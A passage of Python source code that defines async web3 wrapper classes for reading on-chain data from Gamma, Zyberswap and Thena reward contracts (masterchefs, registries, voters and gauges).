\"\"\"_summary_\n\n Returns:\n int: _description_\n \"\"\"\n if not self._paidOut:\n self._paidOut = await self.call_function_autoRpc(\"paidOut\")\n return self._paidOut\n\n async def pending(self, pid: int, user: str) -> int:\n \"\"\"_summary_\n\n Args:\n pid (int): pool index\n user (str): address\n\n Returns:\n int: _description_\n \"\"\"\n return await self.call_function_autoRpc(\"pending\", None, pid, user)\n\n async def poolInfo(self, pid: int) -> tuple[str, int, int, int, int]:\n \"\"\"_summary_\n\n Args:\n pid (int): pool index\n\n Returns:\n tuple:\n lpToken address,\n allocPoint uint256,\n lastRewardTimestamp uint256,\n accERC20PerShare uint256,\n depositFeeBP uint16\n \"\"\"\n return await self.call_function_autoRpc(\"poolInfo\", None, pid)\n\n @property\n async def poolLength(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._poolLength:\n self._poolLength = await self.call_function_autoRpc(\"poolLength\")\n return self._poolLength\n\n @property\n async def rewardPerSecond(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._rewardPerSecond:\n self._rewardPerSecond = await self.call_function_autoRpc(\"rewardPerSecond\")\n return self._rewardPerSecond\n\n @property\n async def startTimestamp(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._startTimestamp:\n self._startTimestamp = await self.call_function_autoRpc(\"startTimestamp\")\n return self._startTimestamp\n\n @property\n async def totalAllocPoint(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._totalAllocPoint:\n self._totalAllocPoint = await self.call_function_autoRpc(\"totalAllocPoint\")\n return self._totalAllocPoint\n\n async def userInfo(self, pid: int, user: str) -> tuple[int, int]:\n \"\"\"_summary_\n\n Args:\n pid (int): pool index\n user (str): address\n\n Returns:\n tuple:\n amount uint256,\n rewardDebt uint256\n \"\"\"\n return await self.call_function_autoRpc(\"userInfo\", None, pid, user)\n\n\n# Gamma masterchef registry ( registry of the \"rewarders registry\")\nclass gamma_masterchef_registry(web3wrap):\n # SETUP\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"masterchef_registry_v1\"\n self._abi_path = abi_path or \"sources/common/abis/gamma/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._owner: str | None = None\n self._counter: int | None = None\n\n # implement harcoded erroneous addresses to reduce web3 calls\n __blacklist_addresses = {}\n\n @property\n async def counter(self) -> int:\n \"\"\"number of hypervisors indexed, initial being 0 and end the counter value-1\n\n Returns:\n int: positions of hypervisors in registry\n \"\"\"\n if not self._counter:\n counter = await self.call_function_autoRpc(\"counter\")\n return self._counter\n\n async def hypeByIndex(self, index: int) -> tuple[str, int]:\n \"\"\"Retrieve hype address and index from registry\n When index is zero, hype address has been deleted so its no longer valid\n\n Args:\n index (int): index position of hype in registry\n\n Returns:\n tuple[str, int]: hype address and index\n \"\"\"\n return await self.call_function_autoRpc(\"hypeByIndex\", None, index)\n\n @property\n async def owner(self) -> str:\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n async def registry(self, index: int) -> str:\n return await self.call_function_autoRpc(\"registry\")\n\n async def registryMap(self, address: str) -> int:\n return await self.call_function_autoRpc(\n \"registryMap\", None, Web3.to_checksum_address(address)\n )\n\n # CUSTOM FUNCTIONS\n\n # TODO: manage versions\n async def get_masterchef_list(self) -> list[gamma_masterchef_v1]:\n \"\"\"Retrieve masterchef contracts from registry\n\n Returns:\n masterchefV2 contract\n \"\"\"\n result = []\n total_qtty = await self.counter + 1 # index positions ini=0 end=counter\n for i in range(total_qtty):\n try:\n address, idx = await self.hypeByIndex(index=i)\n\n # filter blacklisted hypes\n if idx == 0 or (\n self._network in self.__blacklist_addresses\n and address.lower() in self.__blacklist_addresses[self._network]\n ):\n # hypervisor is blacklisted: loop\n continue\n\n result.append(\n gamma_masterchef_v1(\n address=address,\n network=self._network,\n block=await self.block,\n )\n )\n\n except Exception:\n logging.getLogger(__name__).warning(\n f\" Masterchef registry returned the address {address} and may not be a masterchef contract ( at web3 chain id: {self._chain_id} )\"\n )\n\n return result\n\n async def get_masterchef_addresses(self) -> list[str]:\n \"\"\"Retrieve masterchef addresses from registry\n\n Returns:\n list of addresses\n \"\"\"\n\n total_qtty = await self.counter + 1 # index positions ini=0 end=counter\n\n result = []\n for i in range(total_qtty):\n # executiuon reverted: arbitrum and mainnet have diff ways of indexing (+1 or 0)\n with contextlib.suppress(Exception):\n address, idx = await self.hypeByIndex(index=i)\n\n # filter erroneous and blacklisted hypes\n if idx == 0 or (\n self._network in self.__blacklist_addresses\n and address.lower() in self.__blacklist_addresses[self._network]\n ):\n # hypervisor is blacklisted: loop\n continue\n\n result.append(address)\n\n return result\n\n\n# Zyberswap rewarder\nclass zyberswap_masterchef_rewarder(web3wrap):\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"zyberchef_rewarder\"\n self._abi_path = abi_path or \"sources/common/abis/zyberchef/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._distributorV2: str | None = None\n self._isNative: bool | None = None\n self._owner: str | None = None\n self._rewardInfoLimit: int | None = None\n self._rewardToken: str | None = None\n self._totalAllocPoint: int | None = None\n\n async def _getTimeElapsed(self, _from: int, _to: int, _endTimestamp: int) -> int:\n return await self.call_function_autoRpc(\n \"_getTimeElapsed\", None, _from, _to, _endTimestamp\n )\n\n async def currentTimestamp(self, pid: int) -> int:\n return await self.call_function_autoRpc(\"currentTimestamp\", None, pid)\n\n @property\n async def distributorV2(self) -> str:\n if not self._distributorV2:\n self._distributorV2 = await self.call_function_autoRpc(\"distributorV2\")\n return self._distributorV2\n\n @property\n async def isNative(self) -> bool:\n if not self._isNative:\n self._isNative = await self.call_function_autoRpc(\"isNative\")\n return self._isNative\n\n @property\n async def owner(self) -> str:\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n async def pendingTokens(self, pid: int, user: str) -> int:\n return await self.call_function_autoRpc(\"pendingTokens\", None, pid, user)\n\n async def poolIds(self, input: int) -> int:\n return await self.call_function_autoRpc(\"poolIds\", None, input)\n\n async def poolInfo(self, pid: int) -> tuple[int, int, int, int, int]:\n \"\"\"\n\n Args:\n pid (int): pool index\n\n Returns:\n tuple[int, int, int, int, int]:\n accTokenPerShare uint256\n startTimestamp unit256\n lastRewardTimestamp uint256\n allocPoint uint256 — allocation points assigned to the pool.\n totalRewards uint256 — total rewards for the pool\n \"\"\"\n return await self.call_function_autoRpc(\"poolInfo\", None, pid)\n\n async def poolRewardInfo(self, input1: int, input2: int) -> tuple[int, int, int]:\n \"\"\"_summary_\n\n Args:\n input1 (int): _description_\n input2 (int): _description_\n\n Returns:\n tuple[int,int,int]: startTimestamp uint256, endTimestamp uint256, rewardPerSec uint256\n \"\"\"\n return await self.call_function_autoRpc(\"poolRewardInfo\", None, input1, input2)\n\n async def poolRewardsPerSec(self, pid: int) -> int:\n return await self.call_function_autoRpc(\"poolRewardsPerSec\", None, pid)\n\n @property\n async def rewardInfoLimit(self) -> int:\n if not self._rewardInfoLimit:\n self._rewardInfoLimit = await self.call_function_autoRpc(\"rewardInfoLimit\")\n return self._rewardInfoLimit\n\n @property\n async def rewardToken(self) -> str:\n if not self._rewardToken:\n self._rewardToken = await self.call_function_autoRpc(\"rewardToken\")\n return self._rewardToken\n\n @property\n async def totalAllocPoint(self) -> int:\n \"\"\"Sum of the allocation points of all pools\n\n Returns:\n int: totalAllocPoint\n \"\"\"\n if not self._totalAllocPoint:\n self._totalAllocPoint = await self.call_function_autoRpc(\"totalAllocPoint\")\n return self._totalAllocPoint\n\n async def userInfo(self, pid: int, user: str) -> tuple[int, int]:\n \"\"\"_summary_\n\n Args:\n pid (int): pool index\n user (str): user address\n\n Returns:\n tuple[int, int]: amount uint256, rewardDebt uint256\n amount — how many Liquid Provider (LP) tokens the user has supplied\n rewardDebt — the amount of SUSHI entitled to the user\n\n \"\"\"\n return await self.call_function_autoRpc(\"userInfo\", None, pid, user)\n\n # CUSTOM\n async def as_dict(self, convert_bint=False, static_mode: bool = False) -> dict:\n \"\"\"as_dict _summary_\n\n Args:\n convert_bint (bool, optional): Convert big integers to string. Defaults to False.\n static_mode (bool, optional): only general static fields are returned. Defaults to False.\n\n Returns:\n dict:\n \"\"\"\n result = await super().as_dict(convert_bint=convert_bint)\n\n result[\"type\"] = \"zyberswap\"\n # result[\"token_precision\"] = await self.acc_token_precision\n\n result[\"masterchef_address\"] = (await self.distributorV2).lower()\n result[\"owner\"] = (await self.owner).lower()\n # result[\"pendingOwner\"] = \"\"\n\n # result[\"poolLength\"] = await self.poolLength\n\n # result[\"rewardPerSecond\"] = await self.rewardPerSecond\n\n result[\"rewardToken\"] = (await self.rewardToken).lower()\n result[\"totalAllocPoint\"] = await self.totalAllocPoint\n\n if convert_bint:\n result[\"totalAllocPoint\"] = str(result[\"totalAllocPoint\"])\n # result[\"rewardPerSecond\"] = str(result[\"rewardPerSecond\"])\n # result[\"token_precision\"] = str(result[\"token_precision\"])\n\n # only return when static mode is off\n if not static_mode:\n pass\n\n return result\n\n\n# Zyberswap rewarder registry ( masterchef)\nclass zyberswap_masterchef_v1(web3wrap):\n # https://arbiscan.io/address/0x9ba666165867e916ee7ed3a3ae6c19415c2fbddd#readContract\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"zyberchef_v1\"\n self._abi_path = abi_path or \"sources/common/abis/zyberswap/masterchef\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._maximum_deposit_fee_rate: int | None = None\n self._maximum_harvest_interval: int | None = None\n self._feeAddress: str | None = None\n self._getZyberPerSecond: int | None = None\n self._marketingAddress: str | None = None\n self._marketingPercent: int | None = None\n self._owner: str | None = None\n self._poolLength: int | None = None\n self._startTimestamp: int | None = None\n self._teamAddress: str | None = None\n self._teamPercent: int | None = None\n self._totalAllocPoint: int | None = None\n self._totalLockedUpRewards: int | None = None\n self._totalZyberInPools: int | None = None\n self._zyber: str | None = None\n self._zyberPerSecond: int | None = None\n\n @property\n async def maximum_deposit_fee_rate(self) -> int:\n \"\"\"maximum deposit fee rate\n\n Returns:\n int: unit16\n \"\"\"\n if not self._maximum_deposit_fee_rate:\n self._maximum_deposit_fee_rate = await self.call_function_autoRpc(\n \"MAXIMUM_DEPOSIT_FEE_RATE\"\n )\n return self._maximum_deposit_fee_rate\n\n @property\n async def maximum_harvest_interval(self) -> int:\n \"\"\"maximum harvest interval\n\n Returns:\n int: unit256\n \"\"\"\n if not self._maximum_harvest_interval:\n self._maximum_harvest_interval = await self.call_function_autoRpc(\n \"MAXIMUM_HARVEST_INTERVAL\"\n )\n\n return self._maximum_harvest_interval\n\n async def canHarvest(self, pid: int, user: str) -> bool:\n \"\"\"can harvest\n\n Args:\n pid (int): pool id\n user (str): user address\n\n Returns:\n bool: _description_\n \"\"\"\n return await self.call_function_autoRpc(\"canHarvest\", None, pid, user)\n\n @property\n async def feeAddress(self) -> str:\n \"\"\"fee address\n\n Returns:\n str: address\n \"\"\"\n if not self._feeAddress:\n self._feeAddress = await self.call_function_autoRpc(\"feeAddress\")\n return self._feeAddress\n\n @property\n async def getZyberPerSec(self) -> int:\n \"\"\"zyber per sec\n\n Returns:\n int: unit256\n \"\"\"\n if not self._getZyberPerSecond:\n self._getZyberPerSecond = await self.call_function_autoRpc(\"getZyberPerSec\")\n return self._getZyberPerSecond\n\n @property\n async def marketingAddress(self) -> str:\n \"\"\"marketing address\n\n Returns:\n str: address\n \"\"\"\n if not self._marketingAddress:\n self._marketingAddress = await self.call_function_autoRpc(\n \"marketingAddress\"\n )\n return self._marketingAddress\n\n @property\n async def marketingPercent(self) -> int:\n \"\"\"marketing percent\n\n Returns:\n int: unit256\n \"\"\"\n if not self._marketingPercent:\n self._marketingPercent = await self.call_function_autoRpc(\n \"marketingPercent\"\n )\n return self._marketingPercent\n\n @property\n async def owner(self) -> str:\n \"\"\"owner\n\n Returns:\n str: address\n \"\"\"\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n async def pendingTokens(\n self, pid: int, user: str\n ) -> tuple[list[str], list[str], list[int], list[int]]:\n \"\"\"pending tokens\n\n Args:\n pid (int): pool id\n user (str): user address\n\n Returns:\n tuple: addresses address[], symbols string[], decimals uint256[], amounts uint256[]\n \"\"\"\n return await self.call_function_autoRpc(\"pendingTokens\", None, pid, user)\n\n async def poolInfo(self, pid: int) -> tuple[str, int, int, int, int, int, int, int]:\n \"\"\"pool info\n\n Args:\n pid (int): pool id\n\n Returns:\n tuple:\n lpToken address,\n allocPoint uint256,\n lastRewardTimestamp uint256,\n accZyberPerShare uint256,\n depositFeeBP uint16,\n harvestInterval uint256,\n totalLp uint256\n \"\"\"\n return await self.call_function_autoRpc(\"poolInfo\", None, pid)\n\n @property\n async def poolLength(self) -> int:\n \"\"\"pool length\n\n Returns:\n int: unit256\n \"\"\"\n if not self._poolLength:\n self._poolLength = await self.call_function_autoRpc(\"poolLength\")\n return self._poolLength\n\n async def poolRewarders(self, pid: int) -> list[str]:\n \"\"\"pool rewarders\n\n Args:\n pid (int): pool id\n\n Returns:\n list[str]: address[]\n \"\"\"\n return await self.call_function_autoRpc(\"poolRewarders\", None, pid)\n\n async def poolRewardsPerSec(\n self, pid: int\n ) -> tuple[list[str], list[str], list[int], list[int]]:\n \"\"\"pool rewards per sec\n\n Args:\n pid (int): pool id\n\n Returns:\n tuple: addresses address[],\n symbols string[],\n decimals uint256[],\n rewardsPerSec uint256[]\n \"\"\"\n return await self.call_function_autoRpc(\"poolRewardsPerSec\", None, pid)\n\n async def poolTotalLp(self, pid: int) -> int:\n \"\"\"pool total lp\n\n Args:\n pid (int): pool id\n\n Returns:\n int: unit256\n \"\"\"\n return await self.call_function_autoRpc(\"poolTotalLp\", None, pid)\n\n @property\n async def startTimestamp(self) -> int:\n \"\"\"start timestamp\n\n Returns:\n int: unit256\n \"\"\"\n if not self._startTimestamp:\n self._startTimestamp = await self.call_function_autoRpc(\"startTimestamp\")\n return self._startTimestamp\n\n @property\n async def teamAddress(self) -> str:\n \"\"\"team address\n\n Returns:\n str: address\n \"\"\"\n if not self._teamAddress:\n self._teamAddress = await self.call_function_autoRpc(\"teamAddress\")\n return self._teamAddress\n\n @property\n async def teamPercent(self) -> int:\n \"\"\"team percent\n\n Returns:\n int: unit256\n \"\"\"\n if not self._teamPercent:\n self._teamPercent = await self.call_function_autoRpc(\"teamPercent\")\n return self._teamPercent\n\n @property\n async def totalAllocPoint(self) -> int:\n \"\"\"total alloc point\n\n Returns:\n int: unit256\n \"\"\"\n if not self._totalAllocPoint:\n self._totalAllocPoint = await self.call_function_autoRpc(\"totalAllocPoint\")\n return self._totalAllocPoint\n\n @property\n async def totalLockedUpRewards(self) -> int:\n \"\"\"total locked up rewards\n\n Returns:\n int: unit256\n \"\"\"\n if not self._totalLockedUpRewards:\n self._totalLockedUpRewards = await self.call_function_autoRpc(\n \"totalLockedUpRewards\"\n )\n return self._totalLockedUpRewards\n\n @property\n async def totalZyberInPools(self) -> int:\n \"\"\"total zyber in pools\n\n Returns:\n int: unit256\n \"\"\"\n if not self._totalZyberInPools:\n self._totalZyberInPools = await self.call_function_autoRpc(\n \"totalZyberInPools\"\n )\n return self._totalZyberInPools\n\n async def userInfo(self, pid: int, user: str) -> tuple[int, int, int, int]:\n \"\"\"user info\n\n Args:\n pid (int): pool id\n user (str): user address\n\n Returns:\n tuple:\n amount uint256,\n rewardDebt uint256,\n rewardLockedUp uint256,\n nextHarvestUntil uint256\n \"\"\"\n return await self.call_function_autoRpc(\"userInfo\", None, pid, user)\n\n @property\n async def zyber(self) -> str:\n \"\"\"zyber\n\n Returns:\n str: address\n \"\"\"\n if not self._zyber:\n self._zyber = await self.call_function_autoRpc(\"zyber\")\n return self._zyber\n\n @property\n async def zyberPerSec(self) -> int:\n \"\"\"zyber per sec\n\n Returns:\n int: unit256\n \"\"\"\n if not self._zyberPerSec:\n self._zyberPerSec = await self.call_function_autoRpc(\"zyberPerSec\")\n return self._zyberPerSec\n\n\n# Thena voter ( sort of masterchef)\nclass thena_voter_v3(web3wrap):\n # https://bscscan.com/address/0x374cc2276b842fecd65af36d7c60a5b78373ede1#readContract\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"voterV3\"\n self._abi_path = abi_path or \"sources/common/abis/thena/binance\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._max_vote_delay: int | None = None\n self._vote_delay: int | None = None\n self.__epochTimestamp: int | None = None\n self.__factories: list[str] | None = None\n self.__ve: str | None = None\n self._bribefactory: str | None = None\n self._factory: str | None = None\n self._factoryLength: int | None = None\n self._gaugeFactoriesLength: int | None = None\n self._gaugefactory: str | None = None\n self._isAlive: bool | None = None\n self._length: int | None = None\n self._minter: str | None = None\n self._owner: str | None = None\n self._permissionRegistry: str | None = None\n self._totalWeight: int | None = None\n\n @property\n async def max_vote_delay(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._max_vote_delay:\n self._max_vote_delay = await self.call_function_autoRpc(\"MAX_VOTE_DELAY\")\n return self._max_vote_delay\n\n @property\n async def vote_delay(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._vote_delay:\n self._vote_delay = await self.call_function_autoRpc(\"VOTE_DELAY\")\n return self._vote_delay\n\n @property\n async def _epochTimestamp(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self.__epochTimestamp:\n self.__epochTimestamp = await self.call_function_autoRpc(\"_epochTimestamp\")\n return self.__epochTimestamp\n\n @property\n async def _factories(self) -> list[str]:\n \"\"\"_summary_\n\n Returns:\n list[str]: address[]\n \"\"\"\n if not self.__factories:\n self.__factories = await self.call_function_autoRpc(\"_factories\")\n return self.__factories\n\n @property\n async def _ve(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self.__ve:\n self.__ve = await self.call_function_autoRpc(\"_ve\")\n return self.__ve\n\n @property\n async def bribefactory(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._bribefactory:\n self._bribefactory = await self.call_function_autoRpc(\"bribefactory\")\n return self._bribefactory\n\n async def claimable(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\"claimable\")\n\n async def external_bribes(self, address: str) -> str:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\n \"external_bribes\", None, Web3.to_checksum_address(address)\n )\n\n async def factories(self, index: int) -> str:\n \"\"\"_summary_\n\n Args:\n index (int): uint256\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\"factories\", None, index)\n\n @property\n async def factory(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._factory:\n self._factory = await self.call_function_autoRpc(\"factory\")\n return self._factory\n\n @property\n async def factoryLength(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._factoryLength:\n self._factoryLength = await self.call_function_autoRpc(\"factoryLength\")\n return self._factoryLength\n\n async def gaugeFactories(self, index: int) -> str:\n \"\"\"_summary_\n\n Args:\n index (int): uint256\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\"gaugeFactories\", None, index)\n\n @property\n async def gaugeFactoriesLength(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._gaugeFactoriesLength:\n self._gaugeFactoriesLength = await self.call_function_autoRpc(\n \"gaugeFactoriesLength\"\n )\n return self._gaugeFactoriesLength\n\n @property\n async def gaugefactory(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._gaugefactory:\n self._gaugefactory = await self.call_function_autoRpc(\"gaugefactory\")\n return self._gaugefactory\n\n async def gauges(self, address: str) -> str:\n \"\"\"_summary_\n\n Args:\n address (str):\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\n \"gauges\", None, Web3.to_checksum_address(address)\n )\n\n async def gaugesDistributionTimestamp(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"gaugesDistributionTimestamp\", None, Web3.to_checksum_address(address)\n )\n\n async def internal_bribes(self, address: str) -> str:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\n \"internal_bribes\", None, Web3.to_checksum_address(address)\n )\n\n @property\n async def isAlive(self) -> bool:\n \"\"\"_summary_\n\n Returns:\n bool: bool\n \"\"\"\n if not self._isAlive:\n self._isAlive = await self.call_function_autoRpc(\"isAlive\")\n return self._isAlive\n\n async def isFactory(self, address: str) -> bool:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n bool: bool\n \"\"\"\n return await self.call_function_autoRpc(\n \"isFactory\", None, Web3.to_checksum_address(address)\n )\n\n async def isGauge(self, address: str) -> bool:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n bool: bool\n \"\"\"\n return await self.call_function_autoRpc(\n \"isGauge\", None, Web3.to_checksum_address(address)\n )\n\n async def isGaugeFactory(self, address: str) -> bool:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n bool: bool\n \"\"\"\n return await self.call_function_autoRpc(\n \"isGaugeFactory\", None, Web3.to_checksum_address(address)\n )\n\n async def isWhitelisted(self, address: str) -> bool:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n bool: bool\n \"\"\"\n return await self.call_function_autoRpc(\n \"isWhitelisted\", None, Web3.to_checksum_address(address)\n )\n\n async def lastVoted(self, index: int) -> int:\n \"\"\"_summary_\n\n Args:\n index (int): uint256\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\"lastVoted\", None, index)\n\n @property\n async def length(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._length:\n self._length = await self.call_function_autoRpc(\"length\")\n return self._length\n\n @property\n async def minter(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._minter:\n self._minter = await self.call_function_autoRpc(\"minter\")\n return self._minter\n\n @property\n async def owner(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._owner:\n self._owner = await self.call_function_autoRpc(\"owner\")\n return self._owner\n\n @property\n async def permissionRegistry(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._permissionRegistry:\n self._permissionRegistry = await self.call_function_autoRpc(\n \"permissionRegistry\"\n )\n return self._permissionRegistry\n\n async def poolForGauge(self, address: str) -> str:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\n \"poolForGauge\", None, Web3.to_checksum_address(address)\n )\n\n async def poolVote(self, input1: int, input2: int) -> str:\n \"\"\"_summary_\n\n Args:\n input1 (int): uint256\n input2 (int): uint256\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\"poolVote\", None, input1, input2)\n\n async def poolVoteLength(self, tokenId: int) -> int:\n \"\"\"_summary_\n\n Args:\n tokenId (int): uint256\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\"poolVoteLength\", None, tokenId)\n\n async def pools(self, index: int) -> str:\n \"\"\"_summary_\n\n Args:\n index (int): uint256\n\n Returns:\n str: address\n \"\"\"\n return await self.call_function_autoRpc(\"pools\", None, index)\n\n @property\n async def totalWeight(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._totalWeight:\n self._totalWeight = await self.call_function_autoRpc(\"totalWeight\")\n return self._totalWeight\n\n async def totalWeightAt(self, time: int) -> int:\n \"\"\"_summary_\n\n Args:\n time (int): uint256\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\"totalWeightAt\", None, time)\n\n async def usedWeights(self, index: int) -> int:\n \"\"\"_summary_\n\n Args:\n index (int)\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\"usedWeights\", None, index)\n\n async def votes(self, index: int, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n index (int): uint256\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"votes\", None, index, Web3.to_checksum_address(address)\n )\n\n async def weights(self, pool_address: str) -> int:\n \"\"\"_summary_\n\n Args:\n pool_address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"weights\", None, Web3.to_checksum_address(pool_address)\n )\n\n async def weightsAt(self, pool_address: str, time: int) -> int:\n \"\"\"_summary_\n\n Args:\n pool_address (str): address\n time (int): uint256\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"weightsAt\", None, Web3.to_checksum_address(pool_address), time\n )\n\n\n# Thena rewarder\nclass thena_gauge_V2(web3wrap):\n # https://bscscan.com/address/0x0C83DbCdf4a43F5F015Bf65C0761024D328F3776#readContract\n def __init__(\n self,\n address: str,\n network: str,\n abi_filename: str = \"\",\n abi_path: str = \"\",\n block: int = 0,\n timestamp: int = 0,\n custom_web3: Web3 | None = None,\n custom_web3Url: str | None = None,\n ):\n self._abi_filename = abi_filename or \"gaugeV2_CL\"\n self._abi_path = abi_path or \"sources/common/abis/thena/binance\"\n\n super().__init__(\n address=address,\n network=network,\n abi_filename=self._abi_filename,\n abi_path=self._abi_path,\n block=block,\n timestamp=timestamp,\n custom_web3=custom_web3,\n custom_web3Url=custom_web3Url,\n )\n\n self._distribution: str | None = None\n self._duration: int | None = None\n self._token: str | None = None\n self.__ve: str | None = None\n self.__periodFinish: int | None = None\n # self._periodFinish: int | None = None\n # self.__totalSupply: int | None = None\n self._emergency: bool | None = None\n self._external_bribe: str | None = None\n self._feeVault: str | None = None\n self._fees0: int | None = None\n self._fees1: int | None = None\n self._gaugeRewarder: str | None = None\n self._internal_bribe: str | None = None\n self._lastTimeRewardApplicable: int | None = None\n self._lastUpdateTime: int | None = None\n self._owner: str | None = None\n self._rewardPerDuration: int | None = None\n self._rewardPerToken: int | None = None\n self._rewardPerTokenStored: int | None = None\n self._rewardRate: int | None = None\n self._rewardToken: str | None = None\n self._rewardPid: int | None = None\n self._totalSupply: int | None = None\n\n @property\n async def distribution(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._distribution:\n self._distribution = await self.call_function_autoRpc(\"DISTRIBUTION\")\n return self._distribution\n\n @property\n async def duration(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self._duration:\n self._duration = await self.call_function_autoRpc(\"DURATION\")\n return self._duration\n\n @property\n async def token(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self._token:\n self._token = await self.call_function_autoRpc(\"TOKEN\")\n return self._token\n\n @property\n async def _ve(self) -> str:\n \"\"\"_summary_\n\n Returns:\n str: address\n \"\"\"\n if not self.__ve:\n self.__ve = await self.call_function_autoRpc(\"_ve\")\n return self.__ve\n\n async def _balances(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"_balances\", None, Web3.to_checksum_address(address)\n )\n\n @property\n async def _periodFinish(self) -> int:\n \"\"\"_summary_\n\n Returns:\n int: uint256\n \"\"\"\n if not self.__periodFinish:\n self.__periodFinish = await self.call_function_autoRpc(\"_periodFinish\")\n return self.__periodFinish\n\n # @property\n # async def _totalSupply(self) -> int:\n # \"\"\"_summary_\n\n # Returns:\n # int: uint256\n # \"\"\"\n # if not self.__totalSupply:\n # self.__totalSupply = await self.call_function_autoRpc(\"_totalSupply\")\n # return self.__totalSupply\n\n async def balanceOf(self, address: str) -> int:\n \"\"\"_summary_\n\n Args:\n address (str): address\n\n Returns:\n int: uint256\n \"\"\"\n return await self.call_function_autoRpc(\n \"balanceOf\", None, Web3.to_checksum_address(address)\n )\n\n async def 